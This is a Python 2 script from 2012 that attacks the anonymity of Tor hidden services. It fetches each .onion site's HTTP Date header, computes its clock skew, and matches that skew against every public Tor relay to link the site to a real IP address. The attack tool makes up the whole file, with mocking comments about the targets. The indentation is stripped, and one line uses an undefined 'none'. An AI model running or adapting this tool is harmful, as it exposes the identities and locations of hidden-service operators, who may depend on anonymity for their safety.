#!/usr/bin/env python2.7
#
# clockskewer.py -- skewers http servers in onionland to an ip address
#
# This script takes advantage of the fact that no one
# in onionland configures their http server correctly
# by having it send datetime stamps in every response
#
# calculates the clockskew and then finds a corrilating
# tor relay with an open http server with the same skew
#
# catches people with their pants down, sadly lots of
# onionlanders have no pants and don't realize it :3
#
# WTFPL 2012 Jeff Becker
#
# @ampernand <--- follow my ass on twitter if you care
#
import socks
from pytorctl import TorCtl as ctl
from datetime import datetime
import logging,socket
localhost='127.0.0.1'
# uncomment for using special ssh tunnel located at dash
# localhost='dash'
socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5,localhost,port=9050)
logging.basicConfig(format='>> %(message)s',level=logging.INFO)
reg_socket = socket.socket
debug = logging.debug
info = logging.info
warn = logging.warning
error = logging.error
def torcontrol():
"""
open control session
"""
s = reg_socket()
s.connect((localhost,9051))
c = ctl.Connection(s)
c.authenticate()
return c
def get_relays():
"""
Get all relays that your tor relay knows of
"""
info('Get List Of Relays')
c = torcontrol()
if c is None:
error('Could not connect to tor control port')
return None
ret = []
re = c.get_network_status(get_iterator=True)
c.close()
if re is None:
error('Failed to get relay list')
return none
for r in re:
ret.append(r.ip)
info('Got %d relays'%len(ret))
return ret
now = datetime.utcnow
def skew(dstamp,timeformat='%a, %d %b %Y %H:%M:%S GMT'):
"""
most common type of timestamp i've seen on onionland is
%a, %d %b %Y %H:%M:%S GMT
default to use that
"""
return now() - datetime.strptime(dstamp,timeformat)
def http(host,ua='Onionland Clockskewer 0.1'):
"""
do an http request and get the "Date" header and the "Server" header
returns
skew_in_ms, server_header
or in the event of an error or both headers not found:
None, None
"""
debug('REQUEST http://%s/'%host)
try:
dstamp = None
server = None
s = socks.socksocket()
debug('CONNECT')
s.connect((host,80))
debug('REQUEST')
s.send('GET / HTTP/1.1\r\n')
s.send('Host: %s\r\n'%host)
s.send('User-Agent: %s\r\n'%ua)
s.send('\r\n')
resp = ''
count = 0
r = 0
# begin masive hack
while True:
r += 1
if r > 9000:
break
c = s.recv(1)
if c is None or c == '':
debug('break')
break
resp += c
if resp.count('\r\n') > 0:
count += 1
if resp == '\r\n':
break
line = resp.strip()
if count == 1:
if line.count('HTTP') == 0:
raise Exception()
resp = ''
continue
if len(line) == 0:
break
i = line.index(':')
k = line[:i].strip()
v = line[i+1:].strip()
if k == 'Date':
dstamp = v
elif k == 'Server':
server = v
resp = ''
#end massive hack
s.close()
return skew(dstamp), server
except Exception as e:
return None, None
def check(onion,ip,delta):
"""
check to see if an onion is similar to a clearnet machine
1) request onion
2) request clearnet
3) compute difference of skews
4) if the difference of the skews is <= delta we have a potential candidate
"""
t1,s1 = http(onion)
if t1 is None:
return False
t2,s2 = http(ip)
if t2 is None:
return False
try:
d = t1 - t2
d = abs( d.microseconds ) + abs (d.seconds ) * 1000
return d <= delta
except:
warn('Failed to check %s vs %s'%(onion,ip))
return False
def clockskewer(onions):
possible = []
relays = get_relays()
if relays is None:
return
for onion in onions:
info('Locating %s'%onion)
res = 0
# iterate through all the tor relays in the public list
# this can take days if not weeks for each iteration
for ip in relays:
if check(onion,ip,7000):
info('!!!!')
info('POSSIBLE MATCH: %s -> %s'%(onion,ip))
possible.append((onion,ip))
res += 1
info('Possible Matches for %s : %d'% (onion,res))
info('Found %d results'%len(possible))
for p in possible:
info('%s -> %s'%p)
if __name__ == '__main__':
import sys
clockskewer(sys.argv[1:])